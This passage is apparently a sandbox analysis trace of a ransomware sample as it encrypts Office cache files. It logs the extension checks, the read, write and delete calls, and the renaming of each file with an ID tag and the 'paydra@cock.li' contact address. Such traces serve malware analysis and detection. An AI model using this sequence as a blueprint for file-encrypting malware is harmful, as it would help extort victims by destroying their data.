[0034.710] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.710] lstrlenW (lpString=".doc") returned 4 [0034.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.710] lstrlenW (lpString=".docx") returned 5 [0034.710] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.710] lstrlenW (lpString=".pdf") returned 4 [0034.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.710] lstrlenW (lpString=".xls") returned 4 [0034.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.710] lstrlenW (lpString=".xlsx") returned 5 [0034.710] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.710] lstrlenW (lpString=".ppt") returned 4 [0034.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.710] lstrlenW (lpString=".zip") returned 4 [0034.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.711] lstrlenW (lpString=".rar") returned 4 [0034.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".bz2") returned 4 [0034.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".7z") returned 3 [0034.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString=".dbf") returned 4 [0034.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString=".1cd") returned 4 [0034.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString=".jpg") returned 4 [0034.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString=".doc") returned 4 [0034.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".docx") returned 5 [0034.711] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.711] lstrlenW (lpString=".pdf") returned 4 [0034.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".xls") returned 4 [0034.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".xlsx") returned 5 [0034.711] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.711] lstrlenW (lpString=".ppt") returned 4 [0034.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.711] lstrlenW (lpString=".zip") returned 4 [0034.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.711] lstrlenW (lpString=".rar") returned 4 [0034.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.711] lstrlenW (lpString=".bz2") returned 4 [0034.712] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.712] lstrlenW (lpString=".7z") returned 3 [0034.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.712] lstrlenW (lpString=".dbf") returned 4 [0034.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.712] lstrlenW (lpString=".1cd") returned 4 [0034.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.712] lstrlenW (lpString=".jpg") returned 4 [0034.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.712] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.712] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0034.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.714] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1452) returned 1 [0034.714] CloseHandle (hObject=0x19c) returned 1 [0034.714] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0034.714] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.714] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.714] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.714] GetLastError () returned 0x0 [0034.715] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0034.716] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.717] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.717] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.717] SetEndOfFile (hFile=0x1a4) returned 1 [0034.717] CloseHandle (hObject=0x1a4) returned 1 [0034.718] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.718] SetEndOfFile (hFile=0x19c) returned 1 [0034.718] CloseHandle (hObject=0x19c) returned 1 [0034.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0034.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.719] lstrlenW (lpString=".doc") returned 4 [0034.719] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.719] lstrlenW (lpString=".docx") returned 5 [0034.719] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.719] lstrlenW (lpString=".pdf") returned 4 [0034.719] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.719] lstrlenW (lpString=".xls") returned 4 [0034.719] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.719] lstrlenW (lpString=".xlsx") returned 5 [0034.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.719] lstrlenW (lpString=".ppt") returned 4 [0034.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.719] lstrlenW (lpString=".zip") returned 4 [0034.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.719] lstrlenW (lpString=".rar") returned 4 [0034.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString=".bz2") returned 4 [0034.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString=".7z") returned 3 [0034.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString=".dbf") returned 4 [0034.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString=".1cd") returned 4 [0034.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString=".jpg") returned 4 [0034.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString=".doc") returned 4 [0034.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString=".docx") returned 5 [0034.720] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.720] lstrlenW (lpString=".pdf") returned 4 [0034.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString=".xls") returned 4 [0034.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString=".xlsx") returned 5 [0034.720] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.720] lstrlenW (lpString=".ppt") returned 4 [0034.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.720] lstrlenW (lpString=".zip") returned 4 [0034.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.720] lstrlenW (lpString=".rar") returned 4 [0034.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.721] lstrlenW (lpString=".bz2") returned 4 [0034.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.721] lstrlenW (lpString=".7z") returned 3 [0034.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.721] lstrlenW (lpString=".dbf") returned 4 [0034.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.721] lstrlenW (lpString=".1cd") returned 4 [0034.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.721] lstrlenW (lpString=".jpg") returned 4 [0034.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.721] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.721] lstrlenW (lpString="Setup.xml") returned 9 [0034.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.721] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1872) returned 1 [0034.721] CloseHandle (hObject=0x19c) returned 1 [0034.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.722] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.722] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.722] GetLastError () returned 0x0 [0034.722] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x750, lpOverlapped=0x0) returned 1 [0034.724] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.725] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.725] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.725] SetEndOfFile (hFile=0x1a4) returned 1 [0034.725] CloseHandle (hObject=0x1a4) returned 1 [0034.726] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.726] SetEndOfFile (hFile=0x19c) returned 1 [0034.726] CloseHandle (hObject=0x19c) returned 1 [0034.726] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.727] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString=".doc") returned 4 [0034.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString=".docx") returned 5 [0034.727] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.727] lstrlenW (lpString=".pdf") returned 4 [0034.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString=".xls") returned 4 [0034.727] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString=".xlsx") returned 5 [0034.727] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.727] lstrlenW (lpString=".ppt") returned 4 [0034.727] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString=".zip") returned 4 [0034.727] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.727] lstrlenW (lpString=".rar") returned 4 [0034.727] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString=".bz2") returned 4 [0034.727] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString=".7z") returned 3 [0034.727] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString=".dbf") returned 4 [0034.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString=".1cd") returned 4 [0034.728] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString=".jpg") returned 4 [0034.728] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString=".doc") returned 4 [0034.728] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString=".docx") returned 5 [0034.728] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.728] lstrlenW (lpString=".pdf") returned 4 [0034.728] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString=".xls") returned 4 [0034.728] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString=".xlsx") returned 5 [0034.728] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.728] lstrlenW (lpString=".ppt") returned 4 [0034.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.728] lstrlenW (lpString=".zip") returned 4 [0034.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.728] lstrlenW (lpString=".rar") returned 4 [0034.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString=".bz2") returned 4 [0034.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.728] lstrlenW (lpString=".7z") returned 3 [0034.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.729] lstrlenW (lpString=".dbf") returned 4 [0034.729] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.729] lstrlenW (lpString=".1cd") returned 4 [0034.729] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.729] lstrlenW (lpString=".jpg") returned 4 [0034.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.729] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.729] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0034.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.730] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=913) returned 1 [0034.730] CloseHandle (hObject=0x19c) returned 1 [0034.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0034.731] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.731] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.731] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.731] GetLastError () returned 0x0 [0034.731] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x391, lpOverlapped=0x0) returned 1 [0034.732] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0034.733] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.733] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xee, lpOverlapped=0x0) returned 1 [0034.733] SetEndOfFile (hFile=0x1a4) returned 1 [0034.734] CloseHandle (hObject=0x1a4) returned 1 [0034.736] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.737] SetEndOfFile (hFile=0x19c) returned 1 [0034.737] CloseHandle (hObject=0x19c) returned 1 [0034.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 